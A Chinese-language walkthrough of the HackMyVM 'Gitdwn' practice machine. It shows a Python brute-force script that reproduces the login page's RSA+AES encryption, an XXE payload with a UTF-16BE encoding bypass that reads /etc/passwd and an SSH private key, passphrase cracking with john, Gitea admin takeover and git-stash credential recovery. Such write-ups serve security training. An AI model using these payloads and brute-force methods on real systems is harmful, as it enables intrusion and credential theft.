HackMyVM-Gitdwn 靶机WP
字数 3558
更新时间 2026-03-23 20:17:19

HackMyVM-Gitdwn 靶机渗透测试教学文档

1. 靶机信息

  • 靶机名称: Gitdwn
  • 靶机链接: https://hackmyvm.eu/machines/machine.php?vm=Gitdwn
  • 作者: Sublarge (@MazeSec)
  • 系统: Linux
  • 难度: Medium
  • 核心考点: 前端加密逻辑逆向、XXE漏洞利用、内网服务发现与横向移动、Git信息泄露、权限提升。

2. 信息收集 (Reconnaissance)

目标: 识别目标开放端口、服务及版本信息。

  1. 端口扫描: 使用 nmap 进行全端口扫描,识别服务。
    nmap -p- -sC -sV -T4 $IP
    
  2. 扫描结果:
    • 22/tcp: OpenSSH 8.4p1
    • 80/tcp: Apache 2.4.62,网站标题为 "MazeSec Community - Login"。
  3. 目录枚举: 使用 feroxbuster 对Web服务进行目录扫描,以发现隐藏路径和接口。
    feroxbuster -u http://$IP --depth=2 -x php,html,txt,zip,bak
    
  4. 关键发现:
    • /api/ 目录存在,目录列表可访问。
    • /api/import.php 返回 401 (未授权)。
    • /api/login.php 返回 405 (方法不允许)。
    • libs/jsencrypt.min.jslibs/crypto-js.min.js 表明网站使用了前端加密。

3. 身份认证绕过 (Initial Access)

目标: 通过复现前端加密逻辑,爆破管理员账户密码。

  1. 分析前端加密逻辑:

    • 检查 login.js 和页面引用的加密库。发现登录流程采用混合加密:
      1. 前端生成随机的 AES-128-CBC 密钥和初始向量 (IV)。
      2. 使用此 AES 密钥加密用户的登录凭据 ({"username": "...", "password": "..."})。
      3. 使用一个硬编码在前端的 RSA 公钥,加密上一步生成的 AES 密钥和 IV。
      4. 将加密后的数据发送到 /api/login.php
    • 知识点: 混合加密 (Hybrid Encryption) 利用 RSA 的非对称性保护 AES 密钥的传输。由于前端加密逻辑和公钥已知,攻击者可完全复现加密过程,对登录接口进行爆破。
  2. 获取管理员用户名:

    • 通过分析 dashboard.html 等前端页面,猜测或发现管理员用户名为 admin
  3. 编写爆破脚本:

    • 核心步骤:
      1. 导入前端使用的 RSA 公钥。
      2. 从密码字典 (rockyou.txt 等) 读取候选密码。
      3. 为每个候选密码执行与前端完全一致的加密流程。
      4. 将加密后的数据包发送到 /api/login.php 接口。
      5. 根据响应判断密码是否正确。
    • 关键Python代码逻辑:
      import json, base64, os, requests
      from Crypto.PublicKey import RSA
      from Crypto.Cipher import PKCS1_v1_5, AES
      from Crypto.Util.Padding import pad
      # ... (配置目标URL、用户名、密码字典路径、RSA公钥)
      def encrypt_payload(username, password):
          rsa_key = RSA.import_key(raw_pub_key)
          # 1. 生成随机AES Key和IV
          aes_key = os.urandom(16)
          iv = os.urandom(16)
          # 2. AES加密凭据
          creds = json.dumps({"username": username, "password": password}).encode()
          cipher_aes = AES.new(aes_key, AES.MODE_CBC, iv)
          ct_bytes = cipher_aes.encrypt(pad(creds, 16))
          encrypted_data = base64.b64encode(ct_bytes).decode()
          # 3. RSA加密AES Key和IV
          cipher_rsa = PKCS1_v1_5.new(rsa_key)
          encrypted_key = base64.b64encode(cipher_rsa.encrypt(aes_key + iv)).decode()
          # 4. 构造最终请求载荷
          payload = {
              "encrypted_key": encrypted_key,
              "encrypted_data": encrypted_data
          }
          return json.dumps(payload)
      # 对密码字典进行遍历和请求测试
      
  4. 结果: 成功爆破出管理员凭据 admin:hotdog。登录后台后,发现存在一个 XML 文件上传功能。

4. 编码绕过与 XXE 漏洞利用

目标: 通过上传 XML 文件利用 XXE 漏洞,读取系统敏感文件 (如 /etc/passwd, SSH 私钥)。

  1. 初步测试: 尝试上传包含 <!ENTITY xxe SYSTEM "file:///etc/passwd"> 的 XML Payload,但被系统过滤拦截。
  2. 编码绕过: 尝试改变 XML 声明的编码,例如从 UTF-8 改为 UTF-16BE 可以绕过检测。
    • 创建 payload.xml,声明编码为 UTF-16BE。
      <?xml version="1.0" encoding="UTF-16BE"?>
      <!DOCTYPE foo [
      <!ENTITY xxe SYSTEM "file:///etc/passwd">
      ]>
      <root>&xxe;</root>
      
    • 使用 iconv 工具将文件转换为 UTF-16BE 编码。
      iconv -f utf-8 -t utf-16be payload.xml > payload_utf16be.xml
      
  3. 利用漏洞:
    • 通过上传转换后的 payload_utf16be.xml 文件,成功读取到 /etc/passwd 文件内容,确认了 git 用户的存在。
    • 修改 Payload 以读取 /home/git/.ssh/id_rsa (SSH 私钥)。
  4. 获取初始 Shell:
    • 成功读取到 SSH 私钥。但该私钥受密码保护。
    • 使用 ssh2johnjohn 爆破私钥密码。
      ssh2john id_rsa > id_rsa.hash
      john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash
      
    • 爆破成功后,使用 ssh -i id_rsa git@$IP 并以破解出的私钥密码登录,获得 git 用户权限。

5. 横向移动 (本地 Gitea 服务利用)

目标: 从低权限的 git 用户提升至系统其他用户权限。

  1. 内网服务发现:
    • 登录后,使用 ss -tulnpnetstat -tulnp 查看本地监听的网络服务。
    • 发现本地 (127.0.0.1:3000) 运行着一个 Gitea 服务 (Git 自托管平台)。
  2. 端口转发:
    • 由于 Gitea 只绑定在本地回环地址 (127.0.0.1),需从攻击机访问。通过 SSH 建立本地端口转发。
      # 在攻击机上执行,将本地的 3000 端口转发到目标机的 3000 端口
      ssh -L 3000:localhost:3000 -i id_rsa git@$IP
      
    • 执行后,在攻击机的浏览器访问 http://127.0.0.1:3000 即可看到 Gitea 的 Web 界面。
  3. 获取 Gitea 管理权限:
    • 方法一 (命令行工具):在目标机上,Gitea 以 git 用户运行,可使用其命令行工具修改管理员密码。
      /usr/local/bin/Gitea admin user change-password --config /etc/Gitea/app.ini --username admin --password 1qaz@WSX
      
    • 方法二 (直接操作数据库):Gitea 使用 SQLite 数据库 /var/lib/Gitea/data/Gitea.db
      sqlite3 /var/lib/Gitea/data/Gitea.db
      # 查看用户
      SELECT id, name, is_admin FROM user;
      # 提权现有用户或修改管理员密码
      UPDATE user SET is_admin = 1 WHERE name='your_username';
      
  4. 信息泄露:
    • 以管理员身份登录 Gitea Web 后台。
    • 查看仓库设置,在 Web 钩子 (Webhooks) 配置中,发现了一个带 Authorization 头的钩子,其值为 Bearer YmlsaXIhQCM=
    • Base64 解码该值得到 bilir!@#,推测为 bilir 用户的 SSH 密码。
  5. 权限提升:
    • 使用获取的密码 bilir!@# 切换到 bilir 用户。
      su bilir
      # 或
      ssh bilir@localhost
      

6. 权限提升 (Git 仓库敏感信息泄露)

目标: 从普通用户 bilir 提升至 root 权限。

  1. 信息枚举:
    • bilir 用户目录下,发现一个 code 文件夹,其中包含 Git 仓库。
    • 使用 sudo -l 检查无可用 sudo 权限。
  2. Git 历史挖掘:
    • 进入仓库目录,查看常规提交历史 (git log --onelinegit log -p) 无敏感发现,仅看到一次 init 提交,配置文件中的密码字段为 [PLACEHOLDER]
  3. 发现隐藏的提交:
    • 使用 git rev-list --all 列出所有提交对象,发现存在三个提交哈希,但 git log 只显示一个。
    • 使用 git log --graph --oneline --all 查看完整分支图,发现存在一个 refs/stash 引用,这是一个由 git stash 命令创建的“储藏”。
  4. 分析 Stash 对象:
    • 查看 stash 的详细内容。
      git show 7cbc900 # 假设 7cbc900 是 stash 的提交哈希
      
    • 在差异对比中,发现密码字段从 [PLACEHOLDER] 被修改为了明文密码 mazesec123123。这个修改被“储藏”起来,没有出现在主分支的常规提交历史中,造成了敏感信息泄露。
  5. 最终提权:
    • 尝试使用发现的密码 mazesec123123 切换到 root 用户。
      su root
      # 输入密码: mazesec123123
      
    • 成功获取 root 权限,完成整个渗透流程。

7. 总结与知识点

  1. 前端加密不可信:任何前端实现的加密(如本靶机的RSA+AES混合加密)都可被逆向和复现,不能替代安全的服务端认证。
  2. XXE 与编码绕过:当XML解析器支持多种编码时,通过改变编码(如UTF-16BE)可能绕过简单的关键字过滤。
  3. 内网服务枚举:获取初始立足点后,务必检查本地网络服务和进程 (ss, netstat, ps)。仅本地可访问的服务(如Gitea:3000)可通过SSH隧道/端口转发暴露出来。
  4. 横向移动技巧
    • 利用服务自身的管理功能提权(Gitea命令行工具、数据库操作)。
    • 仔细检查Web应用的所有配置,如Webhooks、配置文件,常包含硬编码凭证。
  5. Git 高级信息泄露
    • git stash 存储的更改是独立的提交对象,不会显示在 git log 的默认历史中,是极易被忽视的敏感信息藏匿点。
    • 使用 git show <stash_hash>git stash listgit log --all --graph 来全面审计仓库历史。
  6. 渗透测试逻辑:遵循“信息收集 -> 初始访问 -> 权限提升/横向移动 -> 最终目标”的链式思维,不放过任何一个配置文件、历史记录、隐藏的服务和进程细节。
相似文章
相似文章
 全屏